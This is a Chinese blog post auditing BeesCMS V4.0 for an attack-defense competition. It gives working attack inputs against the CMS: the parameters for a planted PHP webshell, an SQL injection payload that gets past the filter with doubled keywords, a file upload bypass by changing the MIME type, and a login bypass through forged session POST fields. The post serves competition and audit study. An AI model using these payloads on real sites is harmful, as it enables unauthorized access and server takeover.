Beescms_V4.0代码审计源于一场AWD线下比赛的漏洞源码 

看了别的师傅的文章发现这个源码也非常简单 ,所以今晚简单审计过一遍。

0x01 预留后门

awd首先备份源码,然后下载下来查杀后门,很可能有隐藏后门,有的话直接拿这个后门开始第一轮刷分攻击。

D盾查杀可疑后门,如下;

site/sitemap.php 文件疑似木马,查看一下;

明显的一句话木马

构造也很简单:

Post:lang=system
Get:0=ls

查看flag   0=cat /flag

以下的代码 我选择快速审计 大体看功能 ----》推测可能存在某个漏洞------》看核心源码验证漏洞。

0x02 后台SQL注入

http://192.168.5.149/BEES_4.0/admin/login.php

登录加单引号 报错 估计有注入

看源码

文件:/admin/login.php

很简单的逻辑

在42和43行发现对user和password进过fl_value()和fl_html()处理,然后送入check_login(),check_login函数我们来看看是什么

可以看到只是功能只是最后带入查询和验证密码 那么重点过滤函数应该在前面的fl_value()和fl_html()这两个函数上,跟进。

fl_value():

发现 fl_value()函数就是用htmlspecialchars(()函数对字符进行转义,将特殊字符用引用实体替换。

被转换的预定义的字符有:

&:转换为&
":转换为"
':转换为成为 '
<:转换为&lt;
>:转换为&gt;

再看看fl_value():

function fl_value($str){
if(empty($str)){return;}
return preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\=|\/\*|\*|\.\.\/|\.\/| union | from | where | group | into |load_file
|outfile/i','',$str);
}

fl_value()用preg_replace()将select、insert、and、on等等关键词替换为空,这个双写关键字即可绕过。fl_html()也就是htmlspecialchars()采用的是默认参数,仅编码双引号,所以对于’不会过滤,要想过滤单引号和双引号需要加上ENT_QUOTES参数

所以这里构造注入payload(这是网上文章原文的):

user=admin' uni union on selselectect 1,2,3,4,5#&password=1&code=62e4&submit=true&submit.x=56&submit.y=27

0x03 后台任意文件上传

可以登录后台进行测试。后台发现有图片上传的地方

来看下代码:

is_uploaded_file($_FILES['up']['tmp_name'])){
if($up_type=='pic'){
$is_thumb=empty($_POST['thumb'])?0:$_POST['thumb'];
$thumb_width=empty($_POST['thumb_width'])?$_sys['thump_width']:intval($_POST['thumb_width']);
$thumb_height=empty($_POST['thumb_height'])?$_sys['thump_height']:intval($_POST['thumb_height']);
$logo=0;
$is_up_size = $_sys['upload_size']*1000*1000;
$value_arr=up_img($_FILES['up'],$is_up_size,array('image/gif','image/jpeg','image/png','image/jpg','image/bmp','image/pjpeg'),$is_thumb,$thumb_width,$thumb_height,$logo);
$pic=$value_arr['pic'];
if(!empty($value_arr['thumb'])){
$pic=$value_arr['thumb'];
}
$str="<script type=\"text/javascript\">$(self.parent.document).find('#{$get}').val('{$pic}');self.parent.tb_remove();</script>";
echo $str;
exit;
}//图片上传

发现在44行

$value_arr=up_img($_FILES['up'],$is_up_size,array('image/gif','image/jpeg','image/png','image/jpg','image/bmp','image/pjpeg'),$is_thumb,$thumb_width,$thumb_height,$logo);

定义了mime类型 只需要改下content-type得值即可。

0x04 前台登录绕过

在admin/init.php中第54行发现判断函数is_login():

跟进这个函数

这里验证session中得login_in和admin字段 我们可以伪造进行绕过。

POST:_SESSION[login_in]=1&_SESSION[admin]=1&_SESSION[login_time]=99999999999

最新文章

  1. 关于ibatis中mysql的@变量问题作用域、污染问题
  2. React之JSX入门
  3. PL/SQL中SELECT总结
  4. 从零开始学node(一): nodejs开发环境的配置
  5. java web 自定义错误页面 完整jsp错误页面代码(同时写错误日志) error.jsp
  6. 【poj3734】矩阵乘法求解
  7. shell 死循环
  8. MySQL的一些语法总结
  9. js添加、删除Cookie
  10. (转载)SQL语句中Group by语句的详细介绍
  11. SpringIOC学习三
  12. SYBASE的select into与insert into使用和区别
  13. 【原创】分布式之redis复习精讲
  14. gzy的摄影梦
  15. linux目录2
  16. nginx基本用法和HTTPS配置
  17. 《Linux内核设计与实现》读书笔记三
  18. Oracle 单实例 Relink Binary Options 说明
  19. 算法笔记_192:历届试题 买不到的数目(Java)
  20. JUC——原子类操作(三)

热门文章

  1. android小工具-系统音量管理器
  2. redis的几个知识点
  3. 装系统 ------ 使用微PE 做系统盘
  4. C. Anadi and Domino
  5. 记一次 JavaScript 浮点型数字误差引发的问题
  6. React-leaflet在ant-design pro中的基本使用
  7. Scala函数式编程(三) scala集合和函数
  8. Promise核心原理解析
  9. Scala Basis
  10. [apue] 使用文件记录锁无法实现父子进程交互执行同步